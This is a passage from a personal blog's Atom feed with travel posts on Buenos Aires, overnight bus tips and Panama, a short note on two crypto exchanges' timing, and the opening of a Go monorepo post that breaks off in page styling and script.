]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">Ultimate guide to exploring Buenos Aires</title><link href="https://ashishb.net/travel/buenos-aires-argentina/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/el-calafate-patagonia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="A day in El Calafate - Patagonia, Argentina"/><link href="https://ashishb.net/travel/el-chalten-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking in El Chaltén - trekking capital of Argentina"/><link href="https://ashishb.net/travel/ushuaia-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Ultimate guide to traveling in Ushuaia Argentina"/><link href="https://ashishb.net/travel/panama/?utm_source=atom_feed" rel="related" type="text/html" title="Mini Trip to Panama"/><link href="https://ashishb.net/travel/santiago-chile/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Santiago, Chile"/><id>https://ashishb.net/travel/buenos-aires-argentina/</id><author><name>Ashish Bhatia</name></author><published>2023-12-09T17:00:53+00:00</published><updated>2023-12-09T17:00:53+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the charm of Buenos Aires, the Paris of Latin America. Explore its rich history, vibrant Tango shows, and iconic landmarks with ease!</blockquote><p>There isn&rsquo;t a single city in Latin America that&rsquo;s as gorgeous as Buenos Aires. The city is aptly termed 
<a href="/travel/france/paris/">Paris</a> of Latin America. The city has relatively good public transport. There is a single SUBE card that one needs to use in the expansive 
<a href="/travel/public-transport-guide/">bus and metro system</a> of the city. There are two major airports EZE and AEP. EZE is used primarily for flights in the South American region and AEP for international flights outside this region.</p>
<h3 id="day-1">Day 1</h3>
<p>Start the day with a walking tour. You will get to learn the history of this city. as well as its various oddities like the widest street in the world as well as the hotel inspired by Dante&rsquo;s Divine Comedy.</p>
<figure>
    
    <a href="Buenos-aires-palacio-barolo-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buenos-aires-palacio-barolo-768x1024.jpg"
         alt="A statue of The Thinker is prominently displayed, evoking contemplation, in a public setting with surrounding urban landscape text referencing unique attractions." width="900"/> </a>
</figure>

<figure>
    
    <a href="Buenos-aires-the-thinker-statue-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buenos-aires-the-thinker-statue-768x1024.jpg"
         alt="View of Palacio Barolo in Buenos Aires, a historic tower with intricate architectural details, accompanied by a statue of The Thinker, emphasizing the city&#39;s cultural richness." width="900"/> </a>
</figure>

<p>In the evening, watch a Tango show at   
    
    
<a href="https://turismo.buenosaires.gob.ar/en/gastronomico/caf%C3%A9-tortoni?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Café Tortoni</a> (established 1858) for 12000 AEP. If you want to learn the Tango, you can attend a class at   
    
    
<a href="https://www.tangomarabu.com/en?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Marabú</a> for 1000 AEP.</p>
<p><img alt="Tango Show" loading="lazy" src="/travel/buenos-aires-argentina/Buenos-aires-tango-1-1024x768.jpg"></p>
<figure>
    
    <a href="Buenos-aires-tango-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buenos-aires-tango-2-1024x768.jpg"
         alt="A couple performs a passionate tango dance on stage, with elegant costumes and dramatic lighting enhancing the atmosphere of a live show." width="900"/> </a>
</figure>

<h3 id="day-2">Day 2</h3>
<p>Visit various landmarks of the city. There are several of those spread throughout the city.</p>
<figure>
    
    <a href="Buenos-aires-narrowest-house-casa-minima-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buenos-aires-narrowest-house-casa-minima-768x1024.jpg"
         alt="Image shows Buenos Aires landmarks, including Casa Mínima, the city&#39;s narrowest house, and a statue of Mafalda, a beloved Argentine comic strip character." width="900"/> </a>
</figure>

<figure>
    
    <a href="Buenos-aires-mafalda-statue-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buenos-aires-mafalda-statue-1024x768.jpg"
         alt="Mafalda Statue" width="900"/> </a>
</figure>

<figure>
    
    <a href="Buenos-aires-evita-peron-mural-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buenos-aires-evita-peron-mural-768x1024.jpg"
         alt="Mural of Peron" width="900"/> </a>
</figure>

<figure>
    
    <a href="Buenos-aires-flower-sculpture-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buenos-aires-flower-sculpture-1024x768.jpg"
         alt="A large, reflective metal flower sculpture in an open park setting, partially opened with petals stretched outward, surrounded by grass and trees." width="900"/> </a>
</figure>

<figure>
    
    <a href="Buenos-aires-el-ateneo-grand-splendid-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buenos-aires-el-ateneo-grand-splendid-768x1024.jpg"
         alt="A large metallic flower sculpture is shown in full bloom against a clear sky, with petals open, situated in a vibrant green park setting." width="900"/> </a>
</figure>

<figure>
    
    <a href="Buenos-aires-caminito-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buenos-aires-caminito-768x1024.jpg"
         alt="View of Buenos Aires’ El Ateneo Grand Splendid, an iconic bookstore in a former theater, with colorful balconies and intricate ceiling details." width="900"/> </a>
</figure>

<h3 id="day-3---tigré">Day 3 - Tigré</h3>
<p>Take a train to the Tigré River delta. And do a good guided tour here. There are two tour hours - 1 PM and 3:30 PM. I missed the first one. I made the mistake of doing a cheap 2-hour boat tour (6000 AEP) that had no guide at all. The only other option was a 5000 AEP 1-hour boat ride that day, however, that came with a recorded guide in English and hindsight would have been a better option. The 2-hour boat ride with the guide at 1 PM is for 10500 AEP.</p>
<figure>
    
    <a href="Buenos-aires-tigre-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buenos-aires-tigre-1-1024x768.jpg"
         alt="A scenic boat ride on the Tigre river with lush greenery and colonial-style buildings" width="900"/> </a>
</figure>

<figure>
    
    <a href="Buenos-aires-tigre-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buenos-aires-tigre-2-1024x768.jpg"
         alt="Tigre River Delta" width="900"/> </a>
</figure>

<figure>
    
    <a href="Buenos-aires-tigre-3-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Buenos-aires-tigre-3-1024x768.jpg"
         alt="Tigre River Delta" width="900"/> </a>
</figure>

<h3 id="note">Note</h3>
<ol>
<li>At the time of this trip, 1 USD = 466 AEP (Blue dollar rate). 100 USD bill would be converted at about 1 USD to 460 AEP. A $20 bill would, however, get a rate of 1 USD to 453 AEP.</li>
<li>A recommended shop to change USD to AEP would be Florida 860, shop 113. It is better to change money in Buenos Aires as you will get better rates here than, say, 
<a href="/travel/ushuaia-argentina/">Ushuaia</a> or 
<a href="/travel/el-calafate-patagonia-argentina/">El Calafate</a>.content/posts/a-day-in-el-calafate-patagonia-argentina.md</li>
<li>Don&rsquo;t buy Sube cards from shops. Get it for free from tourism offices.</li>
<li>Note that, the domestic terminal of EZE airport is small and all the airline lounges are on the international side.</li>
<li>Argentina has weird   
    
    
<a href="https://www.electricalsafetyfirst.org.uk/guidance/advice-for-you/when-travelling/travel-adaptor-for-argentina?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">type I</a> sockets. However, most places do have type C sockets that are similar to sockets in India and Europe.</li>
<li>  
    
    
<a href="https://www.abuelapan.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Abuela Pan</a> has nice Argentinian vegan options. Delhi Mahal has good Indian food.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/argentina" term="argentina" label="argentina"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/></entry><entry><title type="html">Overnight bus journeys</title><link href="https://ashishb.net/travel/overnight-bus-journeys/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/bottled-water-at-tourist-places/?utm_source=atom_feed" rel="related" type="text/html" title="Bottled water at Tourist places"/><link href="https://ashishb.net/travel/carrying-water-during-urban-travel/?utm_source=atom_feed" rel="related" type="text/html" title="Carrying water during urban travel"/><link href="https://ashishb.net/travel/choosing-a-travel-backpack/?utm_source=atom_feed" rel="related" type="text/html" title="Choosing a Travel Backpack"/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/book-summary/how-to-live/?utm_source=atom_feed" rel="related" type="text/html" title='Notable quotes from "How to Live" by Derek Sivers'/><id>https://ashishb.net/travel/overnight-bus-journeys/</id><author><name>Ashish Bhatia</name></author><published>2023-11-25T17:00:08+00:00</published><updated>2023-11-25T17:00:08+00:00</updated><content type="html"><![CDATA[<blockquote>Save time on long-distance travel with overnight buses and trains. Discover essential tips for a comfortable trip, from packing light to keeping your phone charged.</blockquote><p>Overnight bus and train journeys are a great way to save time during long-distance (6 hours+) travel. I still have vivid memories of my overnight bus journeys from 
<a href="/all/guatemala-in-8-days/">Guatemala</a>, 
<a href="/all/a-week-in-kenya/">Kenya</a>, 
<a href="/travel/egypt/">Egypt</a>, and 
<a href="/all/things-to-do-in-cusco-peru/">Peru</a>. Here are some tips to make them easier.</p>
<ol>
<li>Don&rsquo;t travel with more than a single backpack. Too much luggage is harder to keep safe at night.</li>
<li>Carry a 
<a href="/all/bottled-water-at-tourist-places/">hydration pack</a> - the availability of drinking water is scarce and unpredictable</li>
<li>Grab toilet paper that can be used for 3-4 occasions. Some people travel with a full roll and I believe that&rsquo;s overkill. Apart from the usual use, toilet paper can be used as tissue paper to clean liquid spills.</li>
<li>Carry biscuits - biscuits are one of the best snacks with high energy density. In case, you are hungry, you are not left to the vagaries of the food availability at night. Chips comparatively are a bad idea as they have poor energy density per unit of volume.</li>
<li>Wear shoes - In case of an emergency, do you really want to run in flip-flops?</li>
<li>Carry   
    
    
<a href="https://amzn.to/3ii1wzD?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">eye shades</a> - Eyeshades can be used to sleep in case the bus has overhead video projections</li>
<li>Wear a jacket - A jacket can be used as a blanket and can be easily removed in case of warmer weather</li>
<li>Check for toilet access on arrival in advance - sometimes bus stations have it for free, sometimes they are paid, and sometimes they are available but unusable</li>
<li>Keep a battery pack - Don&rsquo;t arrive with a drained phone battery. It is better to put the phone in low-power mode. And carry a battery pack to start the next day with 100% battery.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel-gear" term="travel-gear" label="travel-gear"/></entry><entry><title type="html">Timing</title><link href="https://ashishb.net/tech/timing/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/real-vs-theoretical-engineering-productivity/?utm_source=atom_feed" rel="related" type="text/html" title="Real vs Theoretical Engineering Productivity"/><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="related" type="text/html" title="Play-to-earn games"/><link href="https://ashishb.net/tech/too-much-documentation-is-harmful/?utm_source=atom_feed" rel="related" type="text/html" title="Too much documentation is harmful"/><link href="https://ashishb.net/tech/engineering-stack/?utm_source=atom_feed" rel="related" type="text/html" title="Engineering stack"/><link href="https://ashishb.net/tech/engineering-guardrails/?utm_source=atom_feed" rel="related" type="text/html" title="Engineering Guardrails"/><id>https://ashishb.net/tech/timing/</id><author><name>Ashish Bhatia</name></author><published>2023-11-18T17:00:27+00:00</published><updated>2023-11-18T17:00:27+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how two Y Combinator-backed crypto exchanges fared differently—Coinbase thrived with 1500X returns, while Buttercoin closed. Timing was key.</blockquote><p>Two cryptocurrency exchanges came out early on from Y Combinator. One is 2012. One in 2013. One returned 1500X to early investors. The other one ceased to exist after 2 years.</p>
<p>What happened?</p>
<p>The first half of 2015 was the period of Bitcoin&rsquo;s downswing. And one exchange, that had an early start, raised $75 million to survive this Bitcoin winter in Jan 2015. The other one failed to raise funding and had to close the shop.</p>
<p>  
    
    
<a href="https://www.cnbc.com/2021/04/14/coinbase-who-gets-rich.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Coinbase</a> succeeded.</p>
<p>  
    
    
<a href="https://techcrunch.com/2015/04/06/buttercoin-bitcoin-closing?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Buttercoin</a> didn&rsquo;t.</p>
<p>Two cryptocurrency exchanges.</p>
<p>Both are from Y Combinator.</p>
<p>What a difference the timing made.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Mini Trip to Panama</title><link href="https://ashishb.net/travel/panama/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><link href="https://ashishb.net/travel/guatemala/?utm_source=atom_feed" rel="related" type="text/html" title="Guatemala in 8 days"/><link href="https://ashishb.net/travel/buenos-aires-argentina/?utm_source=atom_feed" rel="related" type="text/html" title="Ultimate guide to exploring Buenos Aires"/><link href="https://ashishb.net/travel/santiago-chile/?utm_source=atom_feed" rel="related" type="text/html" title="Four days in Santiago, Chile"/><id>https://ashishb.net/travel/panama/</id><author><name>Ashish Bhatia</name></author><published>2023-11-11T17:00:55+00:00</published><updated>2023-11-11T17:00:55+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Panama&rsquo;s hidden gems, from stunning islands to charming mountain towns, on an unforgettable journey. Unveil scenic landscapes and vibrant cultures!</blockquote><p>Panamá is one of the wealthiest countries in Central America.
The gorgeous skyline of its capital, Panama City, reminded me of 
<a href="/travel/singapore/">Singapore</a>.
Beyond that, there isn&rsquo;t much to do in the city.
The Panama Canal, in my opinion, is a bit overhyped for tourism.
I had a much better experience seeing the locks in 
<a href="/travel/seattle/">Seattle</a> and going through locks in 
<a href="/travel/stockholm-sweden/">Stockholm</a>.</p>
<p>Major areas to visit in Panamá</p>
<ol>
<li>San Blas Islands - gorgeous islands that are equivalent to 
<a href="/travel/french-polynesia-the-basics/">mini-French Polynesia</a></li>
<li>Boquete - Gorgeous small town in the highlands</li>
<li>Bocas Del Toro - 
<a href="/travel/caribbean-trip-guide/">Caribbean</a> vibe, I decided to skip this</li>
<li>Darien National Park - It is filled with Narcos and human traffickers. I skipped it this time.</li>
</ol>
<figure>
    
    <a href="panama-skyline-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="panama-skyline-1024x768.jpg"
         alt="Panoramic view of Panama City&#39;s skyline during the day, highlighting modern skyscrapers." width="900"/> </a>
</figure>

<h3 id="day-1---panamá-city">Day 1 - Panamá City</h3>
<p>Start the day with a walking tour of the city&rsquo;s Old Quarter, &ldquo;Casco Viejo&rdquo;. It is gorgeous, similar to 
<a href="/travel/guatemala/">Antigua</a>.</p>
<figure>
    
    <a href="panama-casco-viejo-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="panama-casco-viejo-1-1024x768.jpg"
         alt="A densely arranged collage features rows of various mechanical components, gears, and intricate metal structures, meticulously organized in overlapping layers, displaying complex machinery in a harmonious layout." width="900"/> </a>
</figure>

<figure>
    
    <a href="panama-casco-viejo-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="panama-casco-viejo-2-1024x768.jpg"
         alt="A scenic view of Panama&#39;s Casco Viejo area, showing a combination of historical architecture with colorful buildings lining the cobblestone streets and cars parked alongside the road." width="900"/> </a>
</figure>

<p>Afterward, climb the Ancon Hill, &ldquo;Cerro Ancon&rdquo;. It is a very well-marked drawn-out 30-minute hike that gives you a good view of The Bridge of the Americas that goes over the Panamá Canal.</p>
<figure>
    
    <a href="panama-cerro-ancon-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="panama-cerro-ancon-1024x768.jpg"
         alt="A scenic view of the Bridge of the Americas spanning the Panamá Canal, surrounded by lush greenery" width="900"/> </a>
</figure>

<p>Afterward, visit Metropolitan Park. There is a 4$ entry fee. The park is interesting, but you won&rsquo;t lose a lot by skipping it.</p>
<figure>
    
    <a href="panama-metropolitan-park-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="panama-metropolitan-park-1-768x1024.jpg"
         alt="A lush green park with dense trees and walking trails" width="900"/> </a>
</figure>

<figure>
    
    <a href="panama-metropolitan-park-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="panama-metropolitan-park-2-1024x768.jpg"
         alt="An aerial view of lush green forests with a dense canopy depicting part of Panama&#39;s Metropolitan Park, showcasing a rich, natural landscape." width="900"/> </a>
</figure>

<h3 id="day-2---san-blas-islands">Day 2 - San Blas Islands</h3>
<p>San Blas Islands are gorgeous islands on the Northwestern coast of Panamá.
The islands are inhabited by the semi-autonomous Guna tribe.
The tribe has resisted modernization, so, amenities on the islands aren&rsquo;t great.
And since only tribesmen can work on these islands, the hospitality is sub-par as well.
However, the views are still idyllic.</p>
<p>There are multiple ways to do San Blas Islands.
Some people drive to Puerto De Carti and then get a boat there.
Some take a one-way $30 shared taxi and then book an 
<a href="/travel/hotels-vs-airbnb-vs-hostels/">Airbnb</a> on the island that includes the boat.
The most comfortable option I chose was to book a tour that included cab pickup and dropoff,
a boat ride to the island, a night stay, and a trip to two other islands.</p>
<p>The trip starts early morning, around 5 AM, with a drive to Puerto De Carti.
On the previous night, buy ~5L cans of water and packaged food like Biscuits, as food on the islands is expensive.
Further, if you have dietary restrictions, like vegetarian, the meals served on the island can feel a bit limiting.</p>
<figure>
    
    <a href="san-blas-1-boats-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="san-blas-1-boats-1024x768.jpg"
         alt="A group of boats is docked by a shoreline under a clear blue sky, with lush greenery in the background." width="900"/> </a>
</figure>

<p>The 45-minute boat ride is almost guaranteed to drench you. So, keep your phone and passport in waterproof pockets.
The islands are gorgeous. And I loved snorkeling around the island for the day. We played volleyball in the evening as well.</p>
<figure>
    
    <a href="san-blas-isla-pelicano-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="san-blas-isla-pelicano-2-1024x768.jpg"
         alt="A tropical island with lush vegetation surrounded by clear blue waters" width="900"/> </a>
</figure>

<figure>
    
    <a href="san-blas-isla-pelicano-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="san-blas-isla-pelicano-1024x768.jpg"
         alt="A small, tropical island with lush greenery, surrounded by turquoise waters, under a clear blue sky." width="900"/> </a>
</figure>

<p>In the afternoon, we visited a natural pool and then went to a small island (probably Isla Perro).</p>
<figure>
    
    <a href="san-blas-natural-pool-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="san-blas-natural-pool-1024x768.jpg"
         alt="Natural Pools of San Blas" width="900"/> </a>
</figure>

<figure>
    
    <a href="san-blas-food-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="san-blas-food-768x1024.jpg"
         alt="A natural pool in San Blas with clear, tranquil water surrounded by lush greenery" width="900"/> </a>
</figure>

<p>The views of the night sky are gorgeous as well.
Depending on the island, you are on, the phone charging might or might not be available and might not even be free,
so, I would recommend carrying a   
    
    
<a href="https://amzn.to/3kUpbXR?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">battery pack</a>.</p>
<h3 id="day-3---san-blas-islands">Day 3 - San Blas Islands</h3>
<p>I had a fruit-only breakfast as that was the only vegetarian option. And then I did more snorkeling in the morning.
After a rice and beans lunch, I left for the Isla Naranjo Chico island and from there took the boat back to the mainland. The boat ride back was much smoother.</p>
<figure>
    
    <a href="san-blas-isla-naranjo-chico-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="san-blas-isla-naranjo-chico-1024x768.jpg"
         alt="A serene boat ride on clear waters near lush green islands, capturing the tranquility of a remote tropical location." width="900"/> </a>
</figure>

<p>At night, I took an overnight 6-hour bus to David and then a 1-hour bus to Boquete.
The standard 6-hour Panamá -&gt; David bus costs about 15$.
At night the only option is an express bus that&rsquo;s 18$ one-way.
The 1.75$ bus between Panamá and David starts early in the morning (5 AM) and runs late into the night (1:30 AM).
However, the connectivity between David and Boquete is only between 6 AM to 8 PM.</p>
<h3 id="day-4---boquete">Day 4 - Boquete</h3>
<p>Boquete is a small, quaint mountain town.
It is the closest one can feel similar to 
<a href="/travel/guatemala/">Antigua, Guatemala</a> in Panamá.
I walked along its main route to see Los Ladrillos rock formations and San Ramon waterfalls.
Then I did the ~40-minute pipeline waterfall hike. You have to pay 5$ at the entrance here.</p>
<figure>
    
    <a href="boquete-los-ladrillos-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="boquete-los-ladrillos-1-1024x768.jpg"
         alt="View of a picturesque waterfall in a lush green forest setting" width="900"/> </a>
</figure>

<figure>
    
    <a href="boquete-los-ladrillos-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="boquete-los-ladrillos-2-1024x768.jpg"
         alt="A scenic waterfall cascades over rocks in a lush, green environment, surrounded by dense vegetation." width="900"/> </a>
</figure>

<figure>
    
    <a href="boquete-san-ramon-waterfall-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="boquete-san-ramon-waterfall-768x1024.jpg"
         alt="A lush, forested pathway with sunlight filtering through dense trees, providing a scenic hiking route lined with green foliage" width="900"/> </a>
</figure>

<figure>
    
    <a href="boquete-pipeline-trail-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="boquete-pipeline-trail-1-1024x768.jpg"
         alt="A scenic waterfall cascades over rocks in a lush, green forest setting, with mist rising from the base, creating a serene natural atmosphere." width="900"/> </a>
</figure>

<figure>
    
    <a href="boquete-pipeline-trail-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="boquete-pipeline-trail-2-768x1024.jpg"
         alt="A dense forest landscape with lush greenery surrounds a hiking trail, presumably part of the Vúlcan Barú hike, showcasing a scenic outdoor setting." width="900"/> </a>
</figure>

<h3 id="day-5---vúlcan-barú-hike">Day 5 - Vúlcan Barú hike</h3>
<p>I started   
    
    
<a href="https://www.casapedroboquete.com/blog/15-08-2012/hikers-guide-volc%C3%A1n-bar%C3%BA?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">this hike</a> early in the morning around 5 AM.
A 6$ shared taxi will drop you at the starting point.
One needs permission to do this hike by emailing rcastillo[AT]miambiente.gob.pa and get a confirmation email.
The walk is about 17 miles. I would put this in the same category as the 
<a href="/travel/yosemite-national-park/">Half Dome hike</a>.
Though it is much less scenic and much more brutal on the legs.
It takes about 5 hours to reach the top. On a clear day, one can see the Pacific and Atlantic Oceans from the top.</p>
<p>There are several mile markers on the way.</p>
<figure>
    
    <a href="volcan-baru-hike-markers-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="volcan-baru-hike-markers-1024x768.jpg"
         alt="A trail with multiple mile markers ascends toward Volcan Baru, from where both the Pacific and Atlantic Oceans are visible. A zipline can be seen in the area." width="900"/> </a>
</figure>

<p>And I spotted a zipline too.</p>
<figure>
    
    <a href="volcan-baru-hike-zipline-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="volcan-baru-hike-zipline-1024x768.jpg"
         alt="A scenic zipline is visible in a natural setting, halfway to Volcán Barú" width="900"/> </a>
</figure>

<figure>
    
    <a href="volcan-baru-hike-view-of-the-peak-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="volcan-baru-hike-view-of-the-peak-768x1024.jpg"
         alt="A mountainous landscape with a misty atmosphere surrounds a rugged hiking trail leading to Volcán Barú&#39;s summit" width="900"/> </a>
</figure>

<p>And I reached the top almost 5 hours into it.</p>
<figure>
    
    <a href="volcan-baru-hike-top-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="volcan-baru-hike-top-1-1024x768.jpg"
         alt="A hiker reaches the summit of Volcán Barú after nearly five hours, capturing expansive views from the peak." width="900"/> </a>
</figure>

<figure>
    
    <a href="volcan-baru-hike-top-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="volcan-baru-hike-top-2-1024x768.jpg"
         alt="A picturesque mountain landscape features lush greenery with misty clouds surrounding the summit, capturing a serene, natural setting." width="900"/> </a>
</figure>

<p>Note:</p>
<ol>
<li>Panamá uses USD as its currency notes. For $1 or less, Panamá uses its own Balboa coins that are pegged to the USD.</li>
<li>Credit cards are widely accepted.</li>
<li>There is a nice 
<a href="/travel/public-transport-guide/">metro</a> with two lines L1 and L2 that runs through Panamá city. It does not connect to the airport yet. But there is a 25-cent bus that connects the airport&rsquo;s Terminal 1 to the metro. One needs a special transport card to pay for it. So, find a local and pay them in USD quarter instead of the payment.</li>
<li>There isn&rsquo;t distinct Panamanian food.</li>
<li>Uber is cheap and relatively easily available.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/central-america" term="central-america" label="central-america"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/><category scheme="https://ashishb.net/tag/panama" term="panama" label="panama"/></entry><entry><title type="html">How to setup Go packages under monorepo</title><link href="https://ashishb.net/programming/how-to-setup-go-packages-under-monorepo/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/generics-in-go/?utm_source=atom_feed" rel="related" type="text/html" title="Generics in Go"/><link href="https://ashishb.net/programming/inheritance-in-go-language/?utm_source=atom_feed" rel="related" type="text/html" title="Inheritance in Go language"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/tools-standalone-binaries/?utm_source=atom_feed" rel="related" type="text/html" title="Ship tools as standalone static binaries"/><link href="https://ashishb.net/programming/python-in-production/?utm_source=atom_feed" rel="related" type="text/html" title="It is hard to recommend Python in production"/><id>https://ashishb.net/programming/how-to-setup-go-packages-under-monorepo/</id><author><name>Ashish Bhatia</name></author><published>2023-11-04T16:00:43+00:00</published><updated>2023-11-04T16:00:43+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to structure a Go monorepo with <code>pkg1</code> and <code>pkg2</code> for efficient code management. Discover best practices for setting module names and using replace directives.</blockquote><p>Let&rsquo;s say you want to have two Go packages <code>pkg1</code> and <code>pkg2</code> in a monorepo setup. Here&rsquo;s what a good project structure would look like.</p>
<p>Here&rsquo;s my recommended project structure in that case</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
